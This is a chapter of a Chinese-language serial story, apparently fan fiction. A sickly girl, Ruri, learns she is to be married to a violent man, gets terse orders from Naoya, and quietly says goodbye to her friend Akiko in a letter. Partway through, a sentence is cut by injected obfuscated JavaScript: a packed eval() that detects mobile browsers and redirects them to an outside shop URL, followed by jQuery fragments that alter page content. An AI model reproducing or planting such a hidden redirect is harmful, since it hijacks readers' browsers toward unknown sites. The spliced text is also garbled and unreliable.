敲门声响起后，琉璃觉得是千夏姐姐来给她送晚饭了。她没有动，仍旧蜷缩在角落里，“千夏姐姐吗，进来吧。”


    门被拉开了。琉璃抬头望过去，首先看到的是对方高大的身影。她立刻意识到这不是千夏姐姐。


    她没有开灯，屋里有些昏暗，透过外面足够明亮的光线，她往上看，看到了直哉那张面无表情的脸。


    “知道了？”直哉站在门口，出声问她。他皱起了眉毛，似乎对她的样子很不满。


    琉璃立刻反应过来他说的是什么。他果然早就知道了，也知道中村先生把这件事告诉了她。她轻轻地点头，小声回答：“知道了。”


    直哉走了进来。他太高大，离得近了，阴影就完全把琉璃完全笼罩起来了。她意识到还没有跟他问好，想赶紧起来，但在这里坐了太久，腿已经麻了。而且，她心里很乱，不知道怎么应对直哉。


    “知道你要嫁的，是个什么东西么？”直哉好像并不太在意她仍旧蜷缩在角落这件事，只是低头看着她。他的声音很低，跟平常说话的腔调并不一样。


    琉璃这时候才意识到自己好像是哭了，脸上有种粘腻的触感。也许是知道哭了也没什么用处，根本没有人会因为她的眼泪而做什么事，或者说，根本没有人看到她的眼泪，她很少哭。


    她抬眼看他，下意识瑟缩了一下。她很害怕他，这种害怕好像是天生就会有的反应。但是此刻，他并没有对她恶语相向，只是问了一个问题。


    可以，帮帮我吗？她这么想，却觉得不可能。直哉不会做没有什么好处的事的吧，问了也只是自取其辱。他也许会嗤笑一声，说她痴心妄想，说她自不量力。


    如果是他的话，说出什么样的话似乎都不奇怪。


    琉璃不知道他问这句话的目的，也不知道他接下来会说什么，一时间不知道怎么回答，只是仰着头看他。


    “是个十分丑陋，品行低劣，总是殴打女人的一个废物。”直哉见她没有反应，也不生气，而是继续低声向她诉说她将要面对的命运。


    这些词语，全部灌进了琉璃的耳朵里。她已经预见了自己的结局，竟然并没有多么惊讶。只是，不惊讶是一回事，绝望却是另外一回事了。


    她眨了几下眼睛，模糊的视线才清明起来。这时候，她终于真正看清了直哉的脸。


    他眼睛很亮，直直地看着她，但脸上没什么表情。这种矛盾感让她觉得很奇怪，但她没办法思考其中的原因，因为他在跟她说话。


    “明天你照常去学校。石川会按我的安排来，你跟着就行了。”直哉站在原地，居高临下地吩咐她。


    说完这些话，他挑了挑眉，又道：“听明白没有。”


    欸？琉璃没想到直哉会跟她说这些话。尽管不明白，她还是下意识点了头，小声回答：“明白了，直哉大人。”


    直哉这才不像刚刚那样绷着脸。他看着她已经有些肿起来的眼睛，不满地“啧”了一声，恶声恶语道：“哭什么哭，丑死了。就这么点小事，值得哭成这样吗。胆子也太小了，没出息的东西。”


    怎么能算是小事，这可是关系到她生存的大事啊。因为直哉觉得无所谓，所以也要求她应该不在乎吗？琉璃不喜欢这些话，这时候竟然还有心思想他太专制。


    但她没说出来，只小声回答：“知道了，直哉大人，对不起。”


    直哉没有再说什么，冷哼一声，慢悠悠地转身离开了。他把门带上，屋里又重新变得昏暗起来了。


    琉璃在原地缓了一会，才能站起来，这些事让她格外疲惫。直哉的话说得也不是非常清楚，她不明白他到底想做什么。


    他要帮她吗？她不由得这么期盼了。但很快，这种微弱的期盼就消散了。


    她早就告诫过自己，不要对任何人和任何事产生类似期盼，或者期待的情绪。没有人应该对她好，也没有人应该在她需要帮助的时候挺身而出。她是孤身一人，孤零零地来到这，也会孤零零地离开，这是天经地义的，命中注定的事。


    她需要做的，只是在还能呼吸的时候呼吸罢了。明天，未来，希望什么的，与她无关。她没有资格拥有那些东西，这具时刻都能感到疲惫与劳累的身体便是证据。


    琉璃按照直哉说的，照常去了学校。石川先生的车还在原地等着她，她安静地坐上去，小声问：“石川先生，放学的时候，我不会再回到这里了吗？”


    这是她思索过后的结果。当然，她也可以不问，但她想知道些东西。


    石川透过后视镜，看到了面色苍白的琉璃，想她大概是哭过了，气色比平时还要差。她总是安静的，如果要数一下的话，石川觉得他们二人沟通的话也许不会超过三十句。但此刻，她没有低头，平静地问出了这些话。


    实际上，石川也不清楚到底发生了什么事，他只是听从安排罢了。上面的人并不会把事情掰开了揉碎了告诉他。他无法为她解答更深层次的疑惑。


    他一直觉得，琉璃小姐是个很懂事的孩子。她永远是一个样子，别人的事不会影响她，她也不会做出影响别人的事。因此，在某种程度上，他有些佩服这个孩子。身体那么差，一阵风就能吹倒似的，过着近乎被世界上所有人无视的生活。但她仍旧是现在这样子，不会悲伤，也不会痛苦。


    或者换句话说，她连悲伤和痛苦的力气都没有，那太消耗精力了。


    “是的。”石川思索一下，这么回答了她刚刚的问题。


    是吗。琉璃明白了。她勉强地笑了一下，轻声向石川先生道谢，“谢谢您告诉我。”


    要去哪里呢。琉璃不清楚这个问题的答案。去哪里好像也没什么区别，因为她本身就没地方可去。只是，之后应该就没办法来上学了吧。好不容易有了朋友，也许就要就此分别了。


    “琉璃？你怎么了，脸色好差，没睡好吗？”秋子见琉璃来了学校，立刻转身问。已经上了三节课，班主任刚刚又来强调了一些事，啰嗦得不得了。但秋子已经习惯了，不觉得有什么。


    倒是琉璃，虽说这时候来是经常有的事，毕竟身体不好，没办法长时间待在学校，但脸色未免也太差了吧？


    “嗯，有点累，不过没关系。”琉璃把书包放好，轻声回答。她仔细地看着秋子可爱的脸庞，想要牢牢地记住人生中第一个朋友的脸。


    秋子觉得琉璃的样子好奇怪。为什么要用这么深沉的眼神看她？她将信将疑地反问：“真的吗，还是回家休息比较好吧？”


    家什么的，本来就没有那种地方。她只是住在别人的地方罢了，寄人篱下的日子，她早就习惯了，并且将此视为一种“恩赐”，毕竟这世上本来就没有人应该收留她。


    “真的哦，我想在学校里待着，因为秋子在这里。”琉璃笑着握住了秋子的手。秋子的手总是很温暖，此刻也是。


    秋子也握住了琉璃的冰凉的手。她笑着搓了几下琉璃的手，想让这双手的温度高一些，同时笑道：“对啦，说点开心的事吧，我妈妈在给我准备成人礼穿的和服，说发现了漂亮的布料，所以想现在就做一件，好期待啊。”


    “是吗，秋子穿上肯定会很漂亮的。”琉璃说出了发自内心的称赞话语。


    “到时候我们一起去吧，琉璃肯定很适合和服。”秋子继续笑着说了下去，脸上是热切的憧憬神情，“还可以拍照纪念一下。那时候我们就是成年人了，是不是可以喝酒庆祝了呢？”


    琉璃拼命克制哭泣的冲动。她眯起眼睛，努力露出微笑，回答：“好啊。不过酒的话，还是少喝一点比较好吧，对身体不太好。”


    “对哦，琉璃还是不要喝了，谨慎点比较好。”秋子立刻点头，一副如临大敌的样子。


    中午的时候，琉璃和秋子一起吃了便当。她听着秋子讲昨天晚上看的连续剧内容，觉得很有意思，“欸，所以凶手还有一个双胞胎哥哥吗？”


    “对啊，真是无厘头，是吧？推理剧里怎么能有双胞胎这样的设定呢，跟外星人作案简直没什么两样嘛。明明是默认的规则，编剧却写了这种莫名其妙的东西。”秋子十分不满，愤愤地咬着嘴里的食物，“大家都在骂啦，说再也不看这个编剧的作品了，简直是浪费大家的时间。”


    琉璃忍俊不禁。她看着秋子鼓鼓的脸颊，笑道：“所以之前那些铺垫都是故弄玄虚，秋子和大家生气也是理所当然的嘛。”


    收好便当盒，琉璃开始收拾桌子。其实她的东西并不多，只是几本书罢了。因为大概率不会回来了，所以要收拾干净才行，不能给老师和同学添麻烦。


    要跟班主任和小泉老师道别才行。但是，直接道别的话，又会很奇怪，毕竟不是什么重要的时间节点。琉璃想了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17339060|199231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一下，还是没有说那些明确的道别话语，只是小声说：“谢谢老师这段时间的关照，我非常感激。”


    “怎么突然说这个，真是的，吓了我一跳。”班主任正在批改作业，闻言笑着扶了扶眼镜，“琉璃总是这么有礼貌啊，虽然不知道为什么突然说这个，但这份感谢我收下了。不过，你脸色不大好啊，回家要好好休息一下，”


    “好的，谢谢老师。”琉璃轻声应了，目光停留在班主任办公桌上的那堆作业本上。上面布满了红色的批改痕迹。


    “对了，上次你家……”班主任放下了手中的红笔，神情犹豫地看着她。他好像想说点什么话，但话说了一半又停住了，迎着琉璃略显疑惑的眼神，他笑着摇了摇头，“没什么，快上课了，回教室吧。”


    小泉老师则笑着拉住了琉璃的手，“说得好像我们以后不会再见了一样。嘛，不过毕业之后确实很难见就是了。”


    老师的手还是那么温暖。这是一双常年握着画笔的，修长而漂亮的手。琉璃很喜欢小泉老师的办公位，觉得老师布置得很漂亮。她眨了几下眼睛，“没什么的，老师，只是觉得应该感谢您。”


    “欸，是吗？”小泉老师看着琉璃故作平静的脸庞，拖长声音回答，“也许之后我们要常常见面也说不定呢。”


    欸？琉璃不大明白老师的意思。但老师没有解释，她犹豫一下，还是没有开口问。


    下午上课的时候，琉璃没有听课。她犹豫再三，还是决定写封信给秋子。当面告别的话，她大概会忍不住哭出来的吧。


    仔细构思过后，她终于落笔了。


    【给秋子：


    秋子，谢谢你愿意成为我的朋友。我是一个无趣的，只会给人添麻烦的人，秋子愿意跟这样的我成为朋友，我真的很感激。我常常想，要是能勇敢一点，早点跟秋子成为朋友就好了。


    不过，对我这样的人来说，美好的，幸福的时刻总是短暂的。尽管很不情愿，但之后，我应该不会再来学校了。因为家里发生了一些事，我没有办法继续以前的生活了。对不起，秋子，明明约好要在成人礼的时候见面，但我可能要爽约了。


    我会一直记得秋子的。虽然我只是秋子众多朋友的一个，但对我来说，秋子是拯救了我的人。那天主动跟我说话的秋子，就像是大家说的，拯救别人于水火之中的主人公一样。


    秋子，一定要继续幸福下去哦。祝你考一个好成绩，考入心仪的大学，迎来完美的人生，我相信你可以。


    因为觉得如果当面告别，可能就会哭出来了，所以还是用这种方式跟秋子告别了。我很胆小，对吧？我不想让秋子因为我而悲伤，一点也不想，所以没能当面说出口。


    但是，这些话未免太过悲伤。大家总说发生什么事都有可能这种话，所以我觉得也许之后我们还会再见面。我记得秋子给我的手机号码，如果家里的事被顺利解决的话，我会联系你的。


    不过，秋子不要花费时间和精力等待我，请享受最后的高中生活吧。


    琉璃】


    琉璃做了一个信封，把信纸塞了进去。她抚摸着信封，发现了上面晕开的水渍。这样就不好看了，她用手帕擦了擦脸，又把信纸拿出来，放到了新做的信封里。


    在秋子去办公室找老师的时候，琉璃把信封放到了秋子的书包里。做好这些事，她松了口气，觉得该做的都做了，再也不能做得更好了。


    “秋子，要去社团吗？”琉璃站起来，看着收拾书包的秋子。她咬着嘴唇，想说点什么，也想做点什么。


    秋子今天还蛮忙的，社团最近有很多活动。她快速地把东西塞到书包里，笑道：“对啊，要去社团，怎么了？”


    “没什么，想跟秋子说声再见。”琉璃笑了一下，轻声回答。


    秋子有点疑惑。为什么琉璃要用这么悲伤的表情说再见呢，明天还能再见吧？她想问为什么，但社团的朋友已经在门口喊她的名字了，“秋子，你快点，大家都在等你！”


    “啊，琉璃，我得走了，今天有很多事。”秋子赶紧背上书包，朝琉璃摆了摆手，“明天见！”


    本来想拥抱一下的，但就算拥抱了，应该也改变不了什么吧，还会让秋子觉得很奇怪。


    算了。


    琉璃看着秋子跑开的背影，小声地回答：“再见，秋子。”